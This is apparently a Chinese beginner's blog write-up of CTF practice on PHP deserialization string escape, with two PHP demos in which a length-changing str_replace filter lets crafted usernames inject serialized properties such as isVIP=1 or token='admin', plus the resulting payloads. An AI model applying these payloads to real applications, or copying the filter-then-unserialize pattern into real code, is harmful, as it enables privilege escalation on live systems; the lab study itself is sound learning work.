php反序列化逃逸

php反序列化逃逸

逃逸是php中反序列化时的恶意利用,以ctf为例演示

第一段演示

逃逸为ctf反序列化的内容,主要是对序列化对象进行过滤,其中替换串长度不一致,造成字符逃逸。攻击者可以构造恶意的payload,改变对象中的属性,达到恶意利用

php 复制代码
<?php

class  user{
    public $username;
    public $password;
    public $isVIP;

    public function __construct($u,$p)
    {
        $this->username = $u;
        $this->password = $p;
        $this->isVIP = 0;
    }
}

function filter($s)
{
    return str_replace("admin","hacker",$s);
}

$u = new user("admin",'123456');
$u_ser = serialize($u);
//O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}

echo PHP_EOL;
$us = filter($u_ser);
//O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}

//过滤前,过滤后
//O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
//O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}

$u = new user('admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}',"123456");
//O:4:"user":3:{s:8:"username";s:52:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}


//";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} is length of 47

$u = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}',"123456");
$u_ser = serialize($u);
$filterted =  filter($u_ser);
//O:4:"user":3:{s:8:"username";s:282:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
//forget of modify value of vip, it should be (int)1

$obj = unserialize($filterted);
var_dump($obj);

最终的目的是修改对象的isVIP属性为1,通过反序列化

对象u进行序列化,很正常

us对u的内容作替换,将admin替换为hacker,长度不一样,有逃逸风险

比如
s:5:"hacker";就是这个属性看5位,将它反序列化,内容就变成了hacke,r就逃逸了

原因是它本来是admin是5位,通过过滤直接替换,造成纰漏

尝试构造payload
$u = new user('admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}',"123456");

其中";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}是截取出来的

尝试逃逸
$u = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}',"123456");这么多重复的admin都将被替换为hacker。admin有282个字符,全部替换为hacker后就有了逃逸的条件。让原来的序列化内容容纳下";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;},而长度还是282,就是读到";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}就结束,在反序列化时形成一个完整的对象

这样一来就可在var_dump看到isVIP属性确实遭到更改var_dump($obj);

第二段说明

php 复制代码
<?php
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$obj = new message('fuck','b','c');

function filter($obj){
    return str_replace('fuck', 'loveU', $obj);
}

$objSer = serialize($obj);
echo $objSer;
//O:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}


echo PHP_EOL;
$objSerFil = filter($objSer);
echo $objSerFil;
//O:7:"message":4:{s:4:"from";s:4:"loveU";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}

//could flee
//";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}

//fix it to
//";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}

//payload(62 char)
//";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}

echo PHP_EOL;
$objHack = new message('fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}','b','c');
echo serialize($objHack);

$answer = 'O:7:"message":4:{s:4:"from";s:310:"fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}';
$answer = filter($answer);

echo PHP_EOL;
var_dump(unserialize($answer));
//it works

echo PHP_EOL;
echo base64_encode($answer);

这段代码来自我做ctfshow线上靶场时的记录,看上去更清晰一些吧

结合注释观察,很容易懂

结合writeup的视频的建议,新手慢点写,是容易做对的

结语

这篇博客也是随手记录,我是新手,还请各位佬们多多批评指正

(悄摸把封面图房上,嘻嘻)

相关推荐
草履虫建模16 小时前
力扣算法 1768. 交替合并字符串
java·开发语言·算法·leetcode·职场和发展·idea·基础
wenzhangli718 小时前
OoderAgent SDK(0.6.6) UDP通讯与协议测试深度解析
网络·网络协议·udp
naruto_lnq18 小时前
分布式系统安全通信
开发语言·c++·算法
安科士andxe18 小时前
60km 远距离通信新选择:AndXe SFP-155M 单模单纤光模块深度测评
网络·信息与通信
学嵌入式的小杨同学18 小时前
【Linux 封神之路】信号编程全解析:从信号基础到 MP3 播放器实战(含核心 API 与避坑指南)
java·linux·c语言·开发语言·vscode·vim·ux
Re.不晚18 小时前
Java入门17——异常
java·开发语言
酥暮沐19 小时前
iscsi部署网络存储
linux·网络·存储·iscsi
精彩极了吧19 小时前
C语言基本语法-自定义类型:结构体&联合体&枚举
c语言·开发语言·枚举·结构体·内存对齐·位段·联合
darkb1rd19 小时前
四、PHP文件包含漏洞深度解析
网络·安全·php
哆啦code梦19 小时前
2024 OWASP十大安全威胁解析
安全·系统安全·owasp top 10